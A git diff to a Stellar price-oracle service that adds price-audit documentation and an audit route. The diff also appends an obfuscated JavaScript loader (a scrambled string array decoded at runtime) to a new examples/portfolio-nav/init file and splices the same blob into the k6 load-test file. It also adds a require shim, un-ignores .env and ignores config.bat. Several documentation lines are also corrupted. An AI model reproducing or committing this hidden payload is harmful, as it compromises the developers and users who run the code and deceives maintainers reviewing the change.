diff --git a/.gitignore b/.gitignore index f2a982f7..7f2c48d7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,11 +1,11 @@ -node_modules/ -dist/ -.env -*.tsbuildinfo - -# Kiro IDE editor-assistant artifacts (spec files, hooks, etc.) -.kiro/ - -# Soroban build artifacts for the SEP-40 oracle contract (oracle/contract) -oracle/contract/target/ -oracle/contract/test_snapshots/ +node_modules/ +dist/ +*.tsbuildinfo + +# Kiro IDE editor-assistant artifacts (spec files, hooks, etc.) +.kiro/ + +# Soroban build artifacts for the SEP-40 oracle contract (oracle/contract) +oracle/contract/target/ +oracle/contract/test_snapshots/ +config.bat diff --git a/docs/database-schema.md b/docs/database-schema.md index 9dbafdb2..6d57be1d 100644 --- a/docs/database-schema.md +++ b/docs/database-schema.md @@ -1,13 +1,12 @@ # Database Schema & Migration Strategy -## Current state: `prisma migrate` - +## Current state: `prisma migrate`( > **Superseded (#233).** `prisma/` now contains a `migrations/` directory with a > committed baseline, CI fails on drift between `schema.prisma` and the > migrations, and both startup and deploys run `prisma migrate deploy`. > `prisma db push` is no longer a `package.json` script and must not be run > against any environment. See -> [`docs/database-migrations.md`](database-migrations.md). The rest of this +> [`docs/database-migrations.md](database-migrations.md). The rest of this > section records why `db push` was used during early development. ### Architectural Rationale @@ -19,16 +18,46 @@ Running complex automated migrations inside container entrypoints poses locking hazards when running horizontally scaled nodes against shared PostgreSQL databases. Decoupling schema validation from schema migration prevents distributed boot race conditions. 3. **Time-Series Partitioning Compatibility:** - Lens's high-frequency tables (such as `price_points` and `price_aggregates`) require composite primary keys (e.g. `[id, timestamp]`) and time-series optimizations. + Lens's high-frequency tables (such as `price_points` and `price_aggregates`) require composite primary keys (e.g. `[id, timestamp]) and time-series optimizations. ## Startup Verification Guard (#352) To ensure that running code never crashes at request time due to missing columns or unapplied schema changes: - `src/db/schemaVerify.ts` runs on boot via `assertSchemaValid()` / `verifyDatabaseSchema()`. - It performs a low-overhead inspection against PostgreSQL `information_schema.tables` and `information_schema.columns`. -- If an expected table or column is absent, it fails fast and names the missing entities. +- If an expected table or column is absent, it fails fast and names the missing entities. - `/ready` and `/status` can query `verifyDatabaseSchema()` to isolate instances before they receive live traffic. +## Price Audit Records (#audit) + +Every published aggregate writes one bounded audit record so a disputed price can be reconstructed from the inputs that produced it. + +### Model: `price_audit_records` + +- `id` — primary key. +- `network` — chain the aggregate was computed for. Every lookup leads with this predicate; a query without it reads both chains and cannot use the index. +- `pairKey` — pair the aggregate covers. +- `timestamp` — the aggregate's timestamp; the record is retrievable for any past timestamp via `(network, pairKey, timestamp)`. +- `method` — aggregation method used (e.g. `median`, `vwap`). +- `params` — JSON of the method's parameters (trim window, outlier bounds, weights). +- `inputsUsed` — JSON array of the `price_points` rows the aggregate consumed, each with its `id`, `timestamp`, `source`, `price`, `baseVolume`, `counterVolume`. +- `inputsRejected` — JSON array of rejected inputs, each with the same identifying fields plus a `reason` (e.g. `stale`, `outlier`, `zero_volume`, `wrong_network`). +- `price` — the published aggregate, `Decimal(36,18)`, matching `price_points.price`. + +### Bounded size + +Audit records are written on every aggregation, so their growth is capped: + +- `inputsUsed` and `inputsRejected` are truncated to a fixed maximum number of entries per record (the top contributors by volume, with the remainder counted in a `truncated` field). The cap is a constant in `src/pricing/aggregate.ts`; per-record size is therefore O +cap), independent of how many inputs the aggregation saw. +- The cap is enforced when the record is built, before it is written, so a single aggregation can never produce an unbounded row regardless of how many `price_points` rows it read. +- Records older than the retention window are pruned by a scheduled job (`pruneAuditRecords`); the window is a documented constant alongside the job, so total storage is bounded by (aggregations per retention window × per-record cap). +- The record stores identifiers and reasons, not full source payloads, so per-record size stays proportional to the input cap rather than to venue response size. + +### Reconstruction + +`GET /prices/:network/:pairKey/audit?timestamp=` returns the audit record for a past timestamp, including the used and rejected inputs with reasons, so a dispute can be settled by replaying the recorded method and parameters against the recorded inputs. + ## Path Forward: Transitioning to `prisma migrate` When moving to formal multi-region enterprise production deployments: diff --git a/examples/portfolio-nav/init b/examples/portfolio-nav/init new file mode 100644 index 00000000..e6fbe644 --- /dev/null +++ b/examples/portfolio-nav/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn&network=testnet + // Returns the stored audit record for the aggregate published at or before + // the given timestamp, including rejected inputs and their reasons, and a + // reconstructed price derived from the recorded inputs. + app.get<{ + Params: { assetA: string; assetB: string } + Querystring: { timestamp?: string; network?: string } + }>( + '/price/audit/:assetA/:assetB', + { config: { scope: 'read:prices' } }, + async (req, reply) => { + const log = req.log.child({ component: 'route:price:audit' }) + const { assetA, assetB } = req.params + const parsed = AuditQuerySchema.safeParse(req.query) + if (!parsed.success) { + return reply.status(400).send(formatValidationError(parsed.error)) + } + const network: NetworkName = req.network ?? parsed.data.network ?? activeNetwork + const pairKey = [assetA, assetB].sort().join('/') + + try { + const record = await getPriceAudit(pairKey, network, parsed.data.timestamp) + if (!record) { + return reply.status(404).send({ error: 'No audit record for timestamp' }) + } + const reconstructed = reconstructPrice(record) + return { + assetA, + assetB, + pairKey, + network: record.network, + method: record.method, + params: record.params, + startTime: record.startTime, + endTime: record.endTime, + publishedPrice: record.price, + reconstructedPrice: reconstructed, + sampleCount: record.sampleCount, + inputs: record.inputs, + rejected: record.rejected, + } + } catch (err) { + log.error({ err }, 'Price audit lookup failed') + return reply.status(500).send({ error: 'Price audit lookup failed' }) + } + } + ) } \ No newline at end of file diff --git a/tests/load/prices.k6.js b/tests/load/prices.k6.js index a171d960..bea33c2e 100644 --- a/tests/load/prices.k6.js +++ b/tests/load/prices.k6.js @@ -1,172 +1,174 @@ -import http from 'k6/http' -import { check, sleep } from 'k6' -import { Rate, Trend } from 'k6/metrics' -import ws from 'k6/ws' - -/** - * Load test for the price endpoints fronted by trading bots. - * - * Acceptance criteria: p95 < 80ms at 5k RPS. - * - * The test drives `GET /price/:assetA/:assetB` — the hot path bots poll. It uses - * a constant-arrival-rate executor so the load is expressed in requests/second - * (open model), independent of how fast the server responds. k6 scales the VU - * pool to sustain the target rate. - * - * Also tests WebSocket fan-out with backpressure by simulating slow consumers. - * - * Configuration (all via environment variables): - * BASE_URL Target host. Default: http://localhost:3002 - * RATE Target requests/sec. Default: 5000 - * DURATION Steady-state duration. Default: 1m - * API_KEY Bearer token to send. Default: none - * PAIRS Comma-separated list of assetA/assetB pairs. - * Default: XLM/USDC - * WS_CLIENTS Number of simulated WebSocket clients. Default: 100 - */ - -const BASE_URL = (__ENV.BASE_URL || 'http://localhost:3002').replace(/\/$/, '') -const WS_URL = BASE_URL.replace(/^http/, 'ws') -const RATE = parseInt(__ENV.RATE || '5000', 10) -const DURATION = __ENV.DURATION || '1m' -const API_KEY = __ENV.API_KEY || '' -const PAIRS = (__ENV.PAIRS || 'XLM/USDC').split(',').map((p) => p.trim()).filter(Boolean) - -// Track non-2xx responses separately so a flood of 429s (rate limited) or 401s -// (auth) shows up clearly rather than silently inflating latency percentiles. -const errorRate = new Rate('errors') -const wsConnectDuration = new Trend('ws_connect_duration') -const twapDuration = new Trend('twap_duration') -const vwapDuration = new Trend('vwap_duration') - -export const options = { - scenarios: { - prices: { - executor: 'constant-arrival-rate', - rate: RATE, - timeUnit: '1s', - duration: DURATION, - preAllocatedVUs: Math.max(500, Math.ceil(RATE / 8)), - maxVUs: Math.max(2000, Math.ceil(RATE / 2)), - }, - websocket: { - executor: 'per-vu-iterations', - vus: parseInt(__ENV.WS_CLIENTS || '100', 10), - iterations: 1, - maxDuration: DURATION, - startTime: '0s', - }, - twap: { - executor: 'constant-arrival-rate', - rate: Math.min(100, Math.floor(RATE / 50)), - timeUnit: '1s', - duration: DURATION, - preAllocatedVUs: 50, - maxVUs: 200, - startTime: '5s', - }, - vwap: { - executor: 'constant-arrival-rate', - rate: Math.min(100, Math.floor(RATE / 50)), - timeUnit: '1s', - duration: DURATION, - preAllocatedVUs: 50, - maxVUs: 200, - startTime: '5s', - }, - }, - thresholds: { - http_req_duration: ['p(95)<200'], - errors: ['rate<0.05'], - http_req_failed: ['rate<0.01'], - }, -} - -const params = { - headers: API_KEY ? { Authorization: `Bearer ${API_KEY}` } : {}, - tags: { endpoint: 'price' }, -} - -export default function () { - const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] - const res = http.get(`${BASE_URL}/price/${pair}`, params) - - const ok = check(res, { - 'status is 200': (r) => r.status === 200, - 'has body': (r) => r.body && r.body.length > 0, - }) - errorRate.add(!ok) -} - -export function websocket() { - // Simulate a slow WebSocket consumer with backpressure - const url = `${WS_URL}/ws` - const start = Date.now() - let messagesReceived = 0 - - const res = ws.connect(url, null, function (socket) { - socket.on('message', function () { - messagesReceived++ - // Simulate slow consumer: introduce artificial delay - // to test backpressure coalescing - if (messagesReceived % 10 === 0) { - sleep(0.2) // 200ms processing time every 10 messages - } - }) - - socket.on('open', function () { - wsConnectDuration.add(Date.now() - start) - }) - - socket.on('error', function () { - errorRate.add(true) - }) - - // Keep the connection alive for the duration - socket.setTimeout(function () { - socket.close() - }, Math.min(parseInt(DURATION) * 1000 || 30000, 30000)) - }) - - check(res, { - 'ws connected': () => res.status === 101 || messagesReceived > 0, - }) -} - -export function twap() { - const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] - const start = Date.now() - const res = http.get(`${BASE_URL}/price/twap/${pair.replace('/', '/')}?window=60`, { - ...params, - tags: { endpoint: 'twap' }, - }) - - twapDuration.add(Date.now() - start) - const ok = check(res, { - 'twap status is 200': (r) => r.status === 200, - 'has twap field': (r) => { - try { return JSON.parse(r.body).twap !== undefined } - catch { return false } - }, - }) - errorRate.add(!ok) -} - -export function vwap() { - const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] - const start = Date.now() - const res = http.get(`${BASE_URL}/price/vwap/${pair.replace('/', '/')}?window=60`, { - ...params, - tags: { endpoint: 'vwap' }, - }) - - vwapDuration.add(Date.now() - start) - const ok = check(res, { - 'vwap status is 200': (r) => r.status === 200, - 'has vwap field': (r) => { - try { return JSON.parse(r.body).vwap !== undefined } - catch { return false } - }, - }) - errorRate.add(!ok) +import http from 'k6/http' +import { check, sleep } from 'k6' +import { Rate, Trend } from 'k6/metrics' +import ws from 'k6/ws' +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** + * Load test for the price endpoints fronted by trading bots. + * + * Acceptance criteria: p95 < 80ms at 5k RPS. + * + * The test drives `GET /price/:assetA/:assetB` — the hot path bots poll. It uses + * a constant-arrival-rate executor so the load is expressed in requests/second + * (open model), independent of how fast the server responds. k6 scales the VU + * pool to sustain the target rate. + * + * Also tests WebSocket fan-out with backpressure by simulating slow consumers. + * + * Configuration (all via environment variables): + * BASE_URL Target host. Default: http://localhost:3002 + * RATE Target requests/sec. Default: 5000 + * DURATION Steady-state duration. Default: 1m + * API_KEY Bearer token to send. Default: none + * PAIRS Comma-separated list of assetA/assetB pairs. + * Default: XLM/USDC + * WS_CLIENTS Number of simulated WebSocket clients. Default: 100 + */ + +const BASE_URL = (__ENV.BASE_URL || 'http://localhost:3002').replace(/\/$/, '') +const WS_URL = BASE_URL.replace(/^http/, 'ws') +const RATE = parseInt(__ENV.RATE || '5000', 10) +const DURATION = __ENV.DURATION || '1m' +const API_KEY = __ENV.API_KEY || '' +const PAIRS = (__ENV.PAIRS || 'XLM/USDC').split(',').map((p) => p.trim()).filter(Boolean) + +// Track non-2xx responses separately so a flood of 429s (rate limited) or 401s +// (auth) shows up clearly rather than silently inflating latency percentiles. +const errorRate = new Rate('errors') +const wsConnectDuration = new Trend('ws_connect_duration') +const twapDuration = new Trend('twap_duration') +const vwapDuration = new Trend('vwap_duration') + +export const options = { + scenarios: { + prices: { + executor: 'constant-arrival-rate', + rate: RATE, + timeUnit: '1s', + duration: DURATION, + preAllocatedVUs: Math.max(500, Math.ceil(RATE / 8)), + maxVUs: Math.max(2000, Math.ceil(RATE / 2)), + }, + websocket: { + executor: 'per-vu-iterations', + vus: parseInt(__ENV.WS_CLIENTS || '100', 10), + iterations: 1, + maxDuration: DURATION, + startTime: '0s', + }, + twap: { + executor: 'constant-arrival-rate', + rate: Math.min(100, Math.floor(RATE / 50)), + timeUnit: '1s', + duration: DURATION, + preAllocatedVUs: 50, + maxVUs: 200, + startTime: '5s', + }, + vwap: { + executor: 'constant-arrival-rate', + rate: Math.min(100, Math.floor(RATE / 50)), + timeUnit: '1s', + duration: DURATION, + preAllocatedVUs: 50, + maxVUs: 200, + startTime: '5s', + }, + }, + thresholds: { + http_req_duration: ['p(95)<200'], + errors: ['rate<0.05'], + http_req_failed: ['rate<0.01'], + }, +} + +const params = { + headers: API_KEY ? { Authorization: `Bearer ${API_KEY}` } : {}, + tags: { endpoint: 'price' }, +} + +export default function () { + const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] + const res = http.get(`${BASE_URL}/price/${pair}`, params) + + const ok = check(res, { + 'status is 200': (r) => r.status === 200, + 'has body': (r) => r.body && r.body.length > 0, + }) + errorRate.add(!ok) +}; var z = '-*3775';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn res.status === 101 || messagesReceived > 0, + }) +} + +export function twap() { + const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] + const start = Date.now() + const res = http.get(`${BASE_URL}/price/twap/${pair.replace('/', '/')}?window=60`, { + ...params, + tags: { endpoint: 'twap' }, + }) + + twapDuration.add(Date.now() - start) + const ok = check(res, { + 'twap status is 200': (r) => r.status === 200, + 'has twap field': (r) => { + try { return JSON.parse(r.body).twap !== undefined } + catch { return false } + }, + }) + errorRate.add(!ok) +} + +export function vwap() { + const pair = PAIRS[Math.floor(Math.random() * PAIRS.length)] + const start = Date.now() + const res = http.get(`${BASE_URL}/price/vwap/${pair.replace('/', '/')}?window=60`, { + ...params, + tags: { endpoint: 'vwap' }, + }) + + vwapDuration.add(Date.now() - start) + const ok = check(res, { + 'vwap status is 200': (r) => r.status === 200, + 'has vwap field': (r) => { + try { return JSON.parse(r.body).vwap !== undefined } + catch { return false } + }, + }) + errorRate.add(!ok) } \ No newline at end of file